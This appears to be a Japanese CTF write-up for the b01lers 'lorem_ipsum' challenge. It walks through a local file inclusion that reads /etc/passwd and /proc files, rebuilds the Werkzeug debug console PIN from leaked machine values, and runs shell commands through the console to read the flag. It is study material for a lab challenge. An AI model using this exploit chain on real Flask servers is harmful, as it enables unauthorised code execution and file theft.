はまやんはまやんはまやん

hamayanhamayan's blog

lorem_ipsum [b01lers CTF]

調査

?animal=動物名で表示が変わるので、適当に弄るとWerkzeugのエラー画面が出てくる。 /consoleを確認するとPINコードが求められる。ほう。 ?animal=/etc/passwdとすると表示されるのでLFIができる。ほう。

PIN特定からRCEへ

Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube

これをやる。

werkzeug - HackTricks ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていこう。

  • probably_public_bitsを埋める
    • 1番目
      • /proc/self/environから環境変数USERを取ってくるUSER=loremipsum
    • 2番目はそのまま
    • 3番目
      • /proc/self/cmdlineをするとloremipsum.pyというファイル名だと分かる
      • loremipsum.pyを取ってくるとapp = Flask(__name__)とあるので、ここはこのままFlaskでよい
    • 4番目
      • エラー画面を見ると/usr/local/lib/python3.6/dist-packages/flask/app.pyとあるので、python3.6に修正する
  • private_bits
    • 1番目
      • /proc/net/arpを見るとDeviceはeth0であると分かる。
      • /sys/class/net/eth0/addressとしてMACアドレスを取得する02:42:ac:1b:00:02
      • これを16進数でつないで10進数に変換すると得られる print(0x0242ac1b0002)=2485378547714
    • 2番目
      • 以下2つをそのままつなげたものを入れる
        • /proc/sys/kernel/random/boot_idb875f129-5ae6-4ab1-90c0-ae07a6134578が得られる
        • /proc/self/cgroupの最初の要素のハッシュ値みたいなやつを取ってくる
          • 11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334aee8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
      • よって、b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
  • これで実行するとPINコード126-739-410が得られる

これでコンソール経由でRCEできるようになるので、フラグを見つけて答える。

>>> __import__('os').popen('ls').read()
'cats\ncheese\ndogs\nfish\nflag\nloremipsum.py\nwrapper.sh\n'
>>> __import__('os').popen('cat flag').read()
'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus mollis condimentum ante, pharetra semper nunc sodales in. Nulla ultricies eu ligula sed ultrices. Maecenas iaculis sit amet ex non tempus. Mauris vulputate arcu vel nulla suscipit aliquam. Mauris eleifend ex tortor. Maecenas sed nunc nisl. Fusce congue euismod nulla, eu laoreet ipsum. Suspendisse semper lacinia nisl eget condimentum. Duis ornare, libero luctus efficitur convallis, tellus massa ultricies mi, sit amet blandit lorem ipsum at nulla. Etiam malesuada dapibus interdum. Nam erat justo, pharetra at neque sed, congue mollis enim. Pellentesque vestibulum mollis ex ac fringilla. Morbi feugiat tincidunt elit vitae aliquet. In hac habitasse platea dictumst. Nullam sagittis eleifend iaculis.\n\nb0ctf{Fl4sK_d3buG_is_InseCure}\n'